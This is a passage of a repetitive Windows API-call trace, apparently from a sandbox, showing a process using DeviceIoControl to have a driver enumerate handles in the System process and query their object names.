[0129.976] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.976] PsReleaseProcessExitSynchronization () returned 0x2 [0129.976] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19b [0129.976] ObQueryNameString (in: Object=0xfffffa8002ff0b10, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88005000550) returned 0x0 [0129.976] ObfDereferenceObject (Object=0xfffffa8002ff0b10) returned 0x1 [0129.976] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.976] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.976] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.976] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0129.976] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.976] PsAcquireProcessExitSynchronization () returned 0x0 [0129.976] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0129.976] ObReferenceObjectByHandle (in: Handle=0xffffffff8000010c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002b8e9e0, HandleInformation=0x0) returned 0x0 [0129.976] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.976] PsReleaseProcessExitSynchronization () returned 0x2 [0129.976] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19b [0129.977] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88005000508) returned 0x0 [0129.977] ObfDereferenceObject (Object=0xfffffa8002b8e9e0) returned 0x1 [0129.977] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.977] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.977] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.977] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0129.977] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.977] PsAcquireProcessExitSynchronization () returned 0x0 [0129.977] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0129.977] ObReferenceObjectByHandle (in: Handle=0xffffffff80000120, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80044a7050, HandleInformation=0x0) returned 0x0 [0129.977] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.977] PsReleaseProcessExitSynchronization () returned 0x2 [0129.977] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19b [0129.977] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0e044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001a0e044, ReturnLength=0xfffff88005000508) returned 0x0 [0129.977] ObfDereferenceObject (Object=0xfffffa80044a7050) returned 0x1 [0129.977] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.977] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.977] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.977] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0129.977] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.977] PsAcquireProcessExitSynchronization () returned 0x0 [0129.977] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0129.977] ObReferenceObjectByHandle (in: Handle=0xffffffff80000124, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80077ff050, HandleInformation=0x0) returned 0x0 [0129.977] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.977] PsReleaseProcessExitSynchronization () returned 0x2 [0129.977] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19b [0129.977] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005000508) returned 0x0 [0129.977] ObfDereferenceObject (Object=0xfffffa80077ff050) returned 0x1 [0129.977] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.977] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.977] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.977] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0129.978] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.978] PsAcquireProcessExitSynchronization () returned 0x0 [0129.978] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0129.978] ObReferenceObjectByHandle (in: Handle=0xffffffff80000128, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80077fc050, HandleInformation=0x0) returned 0x0 [0129.978] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.978] PsReleaseProcessExitSynchronization () returned 0x2 [0129.978] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19b [0129.978] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005000508) returned 0x0 [0129.978] ObfDereferenceObject (Object=0xfffffa80077fc050) returned 0x1 [0129.978] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.978] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.978] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.978] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0129.978] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.978] PsAcquireProcessExitSynchronization () returned 0x0 [0129.978] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0129.978] ObReferenceObjectByHandle (in: Handle=0xffffffff8000012c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8004871f20, HandleInformation=0x0) returned 0x0 [0129.978] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.978] PsReleaseProcessExitSynchronization () returned 0x2 [0129.978] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19b [0129.978] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001ffa044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001ffa044, ReturnLength=0xfffff88005000508) returned 0x0 [0129.978] ObfDereferenceObject (Object=0xfffffa8004871f20) returned 0x1 [0129.978] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.978] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.978] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.978] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0129.978] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.978] PsAcquireProcessExitSynchronization () returned 0x0 [0129.978] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0129.978] ObReferenceObjectByHandle (in: Handle=0xffffffff80000130, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8004870050, HandleInformation=0x0) returned 0x0 [0129.978] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.979] PsReleaseProcessExitSynchronization () returned 0x2 [0129.979] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19b [0129.979] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88005000508) returned 0x0 [0129.979] ObfDereferenceObject (Object=0xfffffa8004870050) returned 0x1 [0129.979] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.979] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.979] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.979] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0129.979] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.979] PsAcquireProcessExitSynchronization () returned 0x0 [0129.979] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0129.979] ObReferenceObjectByHandle (in: Handle=0xffffffff80000134, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8007ffc050, HandleInformation=0x0) returned 0x0 [0129.979] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.979] PsReleaseProcessExitSynchronization () returned 0x2 [0129.979] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19b [0129.979] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88005000508) returned 0x0 [0129.979] ObfDereferenceObject (Object=0xfffffa8007ffc050) returned 0x1 [0129.979] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.979] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.979] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.979] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0129.979] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.979] PsAcquireProcessExitSynchronization () returned 0x0 [0129.979] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0129.979] ObReferenceObjectByHandle (in: Handle=0xffffffff80000138, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8008fae050, HandleInformation=0x0) returned 0x0 [0129.979] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.979] PsReleaseProcessExitSynchronization () returned 0x2 [0129.979] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19b [0129.979] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88005000508) returned 0x0 [0129.980] ObfDereferenceObject (Object=0xfffffa8008fae050) returned 0x1 [0129.980] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.980] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.980] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.980] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0129.980] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.980] PsAcquireProcessExitSynchronization () returned 0x0 [0129.980] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0129.980] ObReferenceObjectByHandle (in: Handle=0xffffffff8000013c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8006dfd050, HandleInformation=0x0) returned 0x0 [0129.980] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.980] PsReleaseProcessExitSynchronization () returned 0x2 [0129.980] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19b [0129.980] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020cd044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80020cd044, ReturnLength=0xfffff88005000508) returned 0x0 [0129.980] ObfDereferenceObject (Object=0xfffffa8006dfd050) returned 0x1 [0129.980] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.980] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.980] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.980] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7a, lpOverlapped=0x0) returned 1 [0129.980] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.980] PsAcquireProcessExitSynchronization () returned 0x0 [0129.980] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0129.980] ObReferenceObjectByHandle (in: Handle=0xffffffff80000140, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002910f20, HandleInformation=0x0) returned 0x0 [0129.980] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.980] PsReleaseProcessExitSynchronization () returned 0x2 [0129.980] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19b [0129.980] ObQueryNameString (in: Object=0xfffffa8002910f20, ObjectNameInfo=0xfffffa80020db044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80020db044, ReturnLength=0xfffff88005000550) returned 0x0 [0129.980] ObfDereferenceObject (Object=0xfffffa8002910f20) returned 0x1 [0129.980] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.980] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.981] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.981] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x80, lpOverlapped=0x0) returned 1 [0129.981] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.981] PsAcquireProcessExitSynchronization () returned 0x0 [0129.981] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0129.981] ObReferenceObjectByHandle (in: Handle=0xffffffff80000148, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003be2f20, HandleInformation=0x0) returned 0x0 [0129.981] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.981] PsReleaseProcessExitSynchronization () returned 0x2 [0129.981] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19b [0129.981] ObQueryNameString (in: Object=0xfffffa8003be2f20, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0129.981] ObfDereferenceObject (Object=0xfffffa8003be2f20) returned 0x1 [0129.981] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.981] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.981] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.981] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x52, lpOverlapped=0x0) returned 1 [0129.981] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.981] PsAcquireProcessExitSynchronization () returned 0x0 [0129.981] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0129.981] ObReferenceObjectByHandle (in: Handle=0xffffffff80000154, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80043f1b50, HandleInformation=0x0) returned 0x0 [0129.981] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.981] PsReleaseProcessExitSynchronization () returned 0x2 [0129.981] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19b [0129.981] ObQueryNameString (in: Object=0xfffffa80043f1b50, ObjectNameInfo=0xfffffa8003989044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003989044, ReturnLength=0xfffff88005000550) returned 0x0 [0129.981] ObfDereferenceObject (Object=0xfffffa80043f1b50) returned 0x1 [0129.981] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.981] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.981] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.981] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0129.982] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.982] PsAcquireProcessExitSynchronization () returned 0x0 [0129.982] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0129.982] ObReferenceObjectByHandle (in: Handle=0xffffffff80000158, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80067fad00, HandleInformation=0x0) returned 0x0 [0129.982] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.982] PsReleaseProcessExitSynchronization () returned 0x2 [0129.982] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19b [0129.982] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003950044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003950044, ReturnLength=0xfffff88005000508) returned 0x0 [0129.982] ObfDereferenceObject (Object=0xfffffa80067fad00) returned 0x1 [0129.982] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.982] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.982] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.982] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x52, lpOverlapped=0x0) returned 1 [0129.982] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.982] PsAcquireProcessExitSynchronization () returned 0x0 [0129.982] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0129.982] ObReferenceObjectByHandle (in: Handle=0xffffffff8000015c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003673de0, HandleInformation=0x0) returned 0x0 [0129.982] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.982] PsReleaseProcessExitSynchronization () returned 0x2 [0129.982] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19b [0129.982] ObQueryNameString (in: Object=0xfffffa8003673de0, ObjectNameInfo=0xfffffa800384f7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800384f7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0129.982] ObfDereferenceObject (Object=0xfffffa8003673de0) returned 0x2 [0129.982] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.982] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.982] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.982] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x4a, lpOverlapped=0x0) returned 1 [0129.982] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.982] PsAcquireProcessExitSynchronization () returned 0x0 [0129.982] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0129.982] ObReferenceObjectByHandle (in: Handle=0xffffffff80000160, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80043f1400, HandleInformation=0x0) returned 0x0 [0129.982] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.983] PsReleaseProcessExitSynchronization () returned 0x2 [0129.983] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19b [0129.983] ObQueryNameString (in: Object=0xfffffa80043f1400, ObjectNameInfo=0xfffffa80039c77c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80039c77c4, ReturnLength=0xfffff88005000550) returned 0x0 [0129.983] ObfDereferenceObject (Object=0xfffffa80043f1400) returned 0x1 [0129.983] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.983] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.983] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 